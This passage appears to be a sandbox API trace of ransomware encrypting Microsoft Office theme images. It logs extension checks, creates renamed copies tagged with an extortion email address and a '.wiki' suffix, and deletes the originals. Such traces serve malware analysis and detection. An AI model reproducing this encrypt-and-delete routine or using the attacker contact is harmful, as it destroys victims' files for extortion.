(lpString=".7z") returned 3 [0053.914] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0053.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0053.915] lstrlenW (lpString=".dbf") returned 4 [0053.915] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0053.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0053.915] lstrlenW (lpString=".1cd") returned 4 [0053.915] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0053.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0053.915] lstrlenW (lpString=".jpg") returned 4 [0053.915] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0053.915] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0053.915] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0053.915] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0053.916] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=21745) returned 1 [0053.916] CloseHandle (hObject=0x20c) returned 1 [0053.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png")) returned 0x20 [0053.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0053.916] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0053.916] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.916] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.916] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0053.916] GetLastError () returned 0x0 [0053.916] ReadFile (in: hFile=0x20c, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x54f1, lpOverlapped=0x0) returned 1 [0053.918] WriteFile (in: hFile=0x1a4, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x5500, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x5500, lpOverlapped=0x0) returned 1 [0053.919] ReadFile (in: hFile=0x20c, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.920] WriteFile (in: hFile=0x1a4, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.920] SetEndOfFile (hFile=0x1a4) returned 1 [0053.920] CloseHandle (hObject=0x1a4) returned 1 [0053.920] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.920] SetEndOfFile (hFile=0x20c) returned 1 [0053.921] CloseHandle (hObject=0x20c) returned 1 [0053.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0053.921] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png")) returned 1 [0053.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0053.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0053.921] lstrlenW (lpString=".doc") returned 4 [0053.921] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0053.921] lstrlenW (lpString=".docx") returned 5 [0053.921] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0053.921] lstrlenW (lpString=".pdf") returned 4 [0053.921] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0053.921] lstrlenW (lpString=".xls") returned 4 [0053.921] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0053.921] lstrlenW (lpString=".xlsx") returned 5 [0053.921] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0053.921] lstrlenW (lpString=".ppt") returned 4 [0053.921] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0053.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0053.922] lstrlenW (lpString=".zip") returned 4 [0053.922] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0053.922] lstrlenW (lpString=".rar") returned 4 [0053.922] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0053.922] lstrlenW (lpString=".bz2") returned 4 [0053.922] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0053.922] lstrlenW (lpString=".7z") returned 3 [0053.922] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0053.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0053.922] lstrlenW (lpString=".dbf") returned 4 [0053.922] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0053.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0053.922] lstrlenW (lpString=".1cd") returned 4 [0053.922] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0053.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0053.922] lstrlenW (lpString=".jpg") returned 4 [0053.922] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0053.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0053.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0053.922] lstrlenW (lpString=".doc") returned 4 [0053.922] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0053.922] lstrlenW (lpString=".docx") returned 5 [0053.922] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0053.922] lstrlenW (lpString=".pdf") returned 4 [0053.922] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0053.922] lstrlenW (lpString=".xls") returned 4 [0053.922] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0053.922] lstrlenW (lpString=".xlsx") returned 5 [0053.922] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0053.922] lstrlenW (lpString=".ppt") returned 4 [0053.922] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0053.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0053.922] lstrlenW (lpString=".zip") returned 4 [0053.922] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0053.923] lstrlenW (lpString=".rar") returned 4 [0053.923] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0053.923] lstrlenW (lpString=".bz2") returned 4 [0053.923] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0053.923] lstrlenW (lpString=".7z") returned 3 [0053.923] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0053.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0053.923] lstrlenW (lpString=".dbf") returned 4 [0053.923] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0053.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0053.923] lstrlenW (lpString=".1cd") returned 4 [0053.923] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0053.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0053.923] lstrlenW (lpString=".jpg") returned 4 [0053.923] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0053.923] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0053.923] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0053.923] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0053.923] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=1339) returned 1 [0053.923] CloseHandle (hObject=0x20c) returned 1 [0053.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 0x20 [0053.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0053.924] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0053.924] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.924] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.924] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0053.925] GetLastError () returned 0x0 [0053.925] ReadFile (in: hFile=0x20c, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x53b, lpOverlapped=0x0) returned 1 [0053.930] WriteFile (in: hFile=0x1a4, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x540, lpOverlapped=0x0) returned 1 [0053.931] ReadFile (in: hFile=0x20c, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.931] WriteFile (in: hFile=0x1a4, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xea, lpOverlapped=0x0) returned 1 [0053.931] SetEndOfFile (hFile=0x1a4) returned 1 [0053.931] CloseHandle (hObject=0x1a4) returned 1 [0053.932] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.932] SetEndOfFile (hFile=0x20c) returned 1 [0053.932] CloseHandle (hObject=0x20c) returned 1 [0053.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0053.933] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 1 [0053.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0053.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0053.933] lstrlenW (lpString=".doc") returned 4 [0053.933] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0053.933] lstrlenW (lpString=".docx") returned 5 [0053.933] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0053.933] lstrlenW (lpString=".pdf") returned 4 [0053.933] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0053.933] lstrlenW (lpString=".xls") returned 4 [0053.933] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0053.933] lstrlenW (lpString=".xlsx") returned 5 [0053.933] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0053.933] lstrlenW (lpString=".ppt") returned 4 [0053.933] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0053.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0053.933] lstrlenW (lpString=".zip") returned 4 [0053.933] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0053.933] lstrlenW (lpString=".rar") returned 4 [0053.933] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0053.933] lstrlenW (lpString=".bz2") returned 4 [0053.933] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0053.933] lstrlenW (lpString=".7z") returned 3 [0053.933] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0053.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0053.933] lstrlenW (lpString=".dbf") returned 4 [0053.933] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0053.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0053.934] lstrlenW (lpString=".1cd") returned 4 [0053.934] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0053.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0053.934] lstrlenW (lpString=".jpg") returned 4 [0053.934] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0053.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0053.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0053.934] lstrlenW (lpString=".doc") returned 4 [0053.934] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0053.934] lstrlenW (lpString=".docx") returned 5 [0053.934] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0053.934] lstrlenW (lpString=".pdf") returned 4 [0053.934] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0053.934] lstrlenW (lpString=".xls") returned 4 [0053.934] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0053.934] lstrlenW (lpString=".xlsx") returned 5 [0053.934] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0053.934] lstrlenW (lpString=".ppt") returned 4 [0053.934] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0053.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0053.934] lstrlenW (lpString=".zip") returned 4 [0053.934] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0053.934] lstrlenW (lpString=".rar") returned 4 [0053.934] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0053.934] lstrlenW (lpString=".bz2") returned 4 [0053.934] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0053.934] lstrlenW (lpString=".7z") returned 3 [0053.934] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0053.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0053.934] lstrlenW (lpString=".dbf") returned 4 [0053.934] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0053.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0053.934] lstrlenW (lpString=".1cd") returned 4 [0053.934] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0053.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0053.935] lstrlenW (lpString=".jpg") returned 4 [0053.935] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0053.935] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0053.935] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0053.935] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0053.935] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=16738) returned 1 [0053.935] CloseHandle (hObject=0x20c) returned 1 [0053.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png")) returned 0x20 [0053.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0053.935] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0053.935] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.935] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.935] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0053.936] GetLastError () returned 0x0 [0053.936] ReadFile (in: hFile=0x20c, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x4162, lpOverlapped=0x0) returned 1 [0053.937] WriteFile (in: hFile=0x1a4, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x4170, lpOverlapped=0x0) returned 1 [0053.938] ReadFile (in: hFile=0x20c, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.938] WriteFile (in: hFile=0x1a4, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.938] SetEndOfFile (hFile=0x1a4) returned 1 [0053.939] CloseHandle (hObject=0x1a4) returned 1 [0053.939] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.939] SetEndOfFile (hFile=0x20c) returned 1 [0053.940] CloseHandle (hObject=0x20c) returned 1 [0053.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0053.940] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png")) returned 1 [0053.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0053.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0053.940] lstrlenW (lpString=".doc") returned 4 [0053.940] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0053.940] lstrlenW (lpString=".docx") returned 5 [0053.940] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0053.940] lstrlenW (lpString=".pdf") returned 4 [0053.940] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0053.940] lstrlenW (lpString=".xls") returned 4 [0053.940] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0053.940] lstrlenW (lpString=".xlsx") returned 5 [0053.940] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0053.940] lstrlenW (lpString=".ppt") returned 4 [0053.940] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0053.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0053.940] lstrlenW (lpString=".zip") returned 4 [0053.940] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0053.940] lstrlenW (lpString=".rar") returned 4 [0053.940] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0053.941] lstrlenW (lpString=".bz2") returned 4 [0053.941] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0053.941] lstrlenW (lpString=".7z") returned 3 [0053.941] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0053.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0053.941] lstrlenW (lpString=".dbf") returned 4 [0053.941] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0053.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0053.941] lstrlenW (lpString=".1cd") returned 4 [0053.941] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0053.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0053.941] lstrlenW (lpString=".jpg") returned 4 [0053.941] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0053.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0053.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0053.941] lstrlenW (lpString=".doc") returned 4 [0053.941] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0053.941] lstrlenW (lpString=".docx") returned 5 [0053.941] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0053.941] lstrlenW (lpString=".pdf") returned 4 [0053.941] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0053.941] lstrlenW (lpString=".xls") returned 4 [0053.941] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0053.941] lstrlenW (lpString=".xlsx") returned 5 [0053.941] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0053.941] lstrlenW (lpString=".ppt") returned 4 [0053.941] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0053.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0053.941] lstrlenW (lpString=".zip") returned 4 [0053.941] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0053.941] lstrlenW (lpString=".rar") returned 4 [0053.941] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0053.941] lstrlenW (lpString=".bz2") returned 4 [0053.941] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0053.941] 